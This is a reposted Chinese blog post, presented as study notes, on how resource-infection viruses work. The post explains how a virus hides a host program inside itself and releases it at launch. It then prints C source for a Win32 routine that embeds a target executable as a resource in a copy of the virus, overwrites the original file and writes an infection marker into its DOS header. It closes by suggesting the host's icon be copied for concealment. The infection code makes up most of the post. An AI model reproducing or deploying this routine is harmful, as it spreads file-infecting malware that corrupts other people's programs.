码迷,mamicode.com
首页 > 其他好文 > 详细

病毒资源感染方式学习笔记

时间:2015-02-03 12:31:15      阅读:167      评论:0      收藏:0      [点我收藏+]

标签:

本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra

 

资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行。

进行资源感染后,打开感染文件的过程大致如下:

CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> WriteFile将资源(宿主程序)写入刚刚创建的文件 --> CreateProcess运行宿主程序 --> WaitForSingleObject等待宿主程序结束 --> CloseHandle关闭进程句柄和线程句柄 --> DeleteFile删除刚刚生成的资源文件。将宿主文件作为资源添加到程序可以用UpdateResource来文件,注意,病毒编译时需要有资源,如果病毒本身没有资源,使用UpdateResource会失败,参考代码如下:

技术分享
void InfectFilesByResource(char *FileName)  
02.{  
03.    DWORD dwSizeOfFile;  
04.    DWORD dwBytesUsed;  
05.    char szTempVirusFile[MAX_PATH];  
06.    HANDLE hFile;  
07.    HRSRC hResource;  
08.    LPBYTE lpBuffer;  
09.    hFile = CreateFile(FileName,  
10.        GENERIC_READ | GENERIC_WRITE,  
11.        0,  
12.        NULL,  
13.        OPEN_EXISTING,  
14.        FILE_ATTRIBUTE_ARCHIVE,  
15.        NULL);  
16.    if (INVALID_HANDLE_VALUE != hFile)  
17.    {  
18.        dwSizeOfFile = GetFileSize(hFile, NULL);  
19.        //这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染  
20.        if (dwSizeOfFile + dwSizeOfVirus > 0x100000)  
21.        {  
22.            CloseHandle(hFile);  
23.            InfectFilesByInject(FileName);      // 这个注入可以参考空隙感染方式  
24.            return;  
25.        }  
26.        lpBuffer = new BYTE[dwSizeOfFile];  
27.        //将整个宿主程序读入Buffer当中  
28.        if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE)  
29.        {  
30.            //这里生成一个临时文件,加入宿主程序作为资源  
31.            GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile);  
32.            //szDstFile是病毒程序路径  
33.            CopyFile(szDstFile, szTempVirusFile, FALSE);  
34.  
35.            //下面更新病毒程序资源  
36.            hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE);  
37.            if (NULL != hResource)  
38.            {  
39.                if (UpdateResource(hResource,   
40.                        RT_RCDATA,   
41.                        MAKEINTRESOURCE(520),   
42.                        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),   
43.                        (LPVOID)lpBuffer,   
44.                        dwBytesUsed) != FALSE)  
45.                {  
46.                    EndUpdateResource(hResource, FALSE);  
47.                }  
48.            }  
49.        }  
50.        delete[] lpBuffer;  
51.        lpBuffer = NULL;  
52.        CloseHandle(hFile);  
53.  
54.        //将加入了宿主程序资源的病毒程序覆盖原来宿主程序  
55.        CopyFile(szTempVirusFile,FileName,FALSE);  
56.        Sleep(100);  
57.        //删除临时文件  
58.        DeleteFile(szTempVirusFile);  
59.        hFile = CreateFile(FileName,  
60.            GENERIC_WRITE,  
61.            0,  
62.            NULL,  
63.            OPEN_EXISTING,  
64.            FILE_ATTRIBUTE_ARCHIVE,  
65.            NULL);  
66.        if (INVALID_HANDLE_VALUE != hFile)  
67.        {  
68.            SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN);  
69.            //写入资源感染标志‘R‘,位于DOS头  
70.            WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL);  
71.            CloseHandle(hFile);  
72.        }         
73.    }  
74.}  
View Code

 用资源感染方式,可以修改图标为宿主程序图标,以起到较好的隐蔽性。

病毒资源感染方式学习笔记

标签:

原文地址:http://www.cnblogs.com/Acg-Check/p/4269446.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!